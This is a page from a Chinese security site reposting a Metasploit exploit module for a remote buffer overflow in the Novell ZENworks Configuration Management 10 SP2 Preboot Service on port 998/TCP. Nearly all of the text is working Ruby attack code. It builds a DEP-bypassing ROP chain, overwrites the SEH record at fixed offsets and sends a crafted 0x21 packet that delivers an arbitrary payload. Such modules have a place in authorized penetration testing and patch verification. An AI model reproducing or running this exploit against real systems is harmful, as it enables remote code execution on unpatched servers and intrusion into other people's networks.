首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow
来源:http://www.metasploit.com 作者:juan 发布时间:2012-07-19  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow',
			'Description'    => %q{
					This module exploits a remote buffer overflow in the ZENworks Configuration
				Management 10 SP2. The vulnerability exists in the Preboot service and can be
				triggered by sending a specially crafted packet with the opcode 0x21
				(PROXY_CMD_FTP_FILE) to port 998/TCP. The module has been successfully tested on
				Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2
				(DEP bypass).
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Stephen Fewer', # Vulnerability Discovery
					'juan' # Metasploit module
				],
			'References'     =>
				[
					[ 'OSVDB', '65361' ],
					[ 'BID', '40486' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-090/' ],
					[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005572' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process'
				},
			'Payload'        =>
				{
					'BadChars' => "",
					'Space'=> 8138,
					'DisableNops' => true,
					'PrependEncoder' => "\x81\xC4\x54\xF2\xFF\xFF" # add esp, -3500
				},
			'Platform'       => ['win'],
			'Targets'        =>
				[
					[ 'Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2',
						{
							'Offset'            => 8252,
							'OffsetBottomStack' => 8288,
							'OffsetRop'         => 44,
							'Ret'               => 0x0040175a # add esp, 0x408 # ret - novell_pbserv.exe
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 30 2010',
			'DefaultTarget'  => 0))

		register_options([Opt::RPORT(998)], self.class)
	end

	def junk(n=4)
		return rand_text_alpha(n).unpack("V").first
	end

	def nop
		return make_nops(4).unpack("L")[0].to_i
	end

	# rop chain generated with mona.py
	def create_rop_chain()
		rop_gadgets =
			[
				0x100065d1, # POP EDX # MOV ESI,C4830005 # ADD AL,3B # RETN [zenimgweb.dll]
				0x00001000, # 0x00001000-> edx
				0x10062113, # POP ECX # RETN [zenimgweb.dll]
				0x1007d158, # ptr to &VirtualAlloc() [IAT zenimgweb.dll]
				0x10018553, # MOV EAX,DWORD PTR DS:[ECX] # ADD ESP,20 # RETN [zenimgweb.dll]
				junk,       # Filler (compensate)
				junk,       # Filler (compensate)
				junk,       # Filler (compensate)
				junk,       # Filler (compensate)
				junk,       # Filler (compensate)
				junk,       # Filler (compensate)
				junk,       # Filler (compensate)
				junk,       # Filler (compensate)
				0x10016818, # PUSH EAX # POP ESI # RETN [zenimgweb.dll]
				0x1002fd05, # POP EBP # RETN [zenimgweb.dll]
				0x10043053, # & push esp #  ret  [zenimgweb.dll]
				0x1003cbf8, # POP EBX # RETN [zenimgweb.dll]
				0x00000001, # 0x00000001-> ebx
				0x00423eeb, # POP ECX # RETN [novell-pbserv.exe]
				0x00000040, # 0x00000040-> ecx
				0x1003173e, # POP EDI # RETN [zenimgweb.dll]
				0x10020801, # RETN (ROP NOP) [zenimgweb.dll]
				0x00406b58, # POP EAX # RETN [novell-pbserv.exe]
				nop,
				0x1006d1e6, # PUSHAD # RETN [zenimgweb.dll]
		].pack("V*")

		return rop_gadgets
	end


	def exploit
		connect

		buf = rand_text(target['OffsetRop'])
		buf << create_rop_chain
		buf << payload.encoded
		buf << rand_text(target['Offset'] - buf.length)
		buf << generate_seh_record(target.ret)
		buf << rand_text(target['OffsetBottomStack'] - buf.length)

		packet =  [0x21].pack("N") # Opcode 0x21 PROXY_CMD_FTP_FILE
		packet << [buf.length].pack("N") # Length
		packet << buf # Value
		sock.put(packet)

		disconnect
	end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Setuid Nmap Exploit
·Novell ZENworks Configuration
·Arora Browser 0.10.2 Denial Of
·Windows Escalate Task Schedule
·Linux Kernel Sendpage Local Pr
·Simple Web Server 2.2 rc2 Remo
·Google Chrome 19 metro_driver.
·Novell ZENworks Configuration
·Intel SYSRET FreeBSD Privilege
·Novell ZENworks Configuration
·DomsHttpd <= 1.0 Remote Denial
·ALLMediaServer 0.8 Buffer Over
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved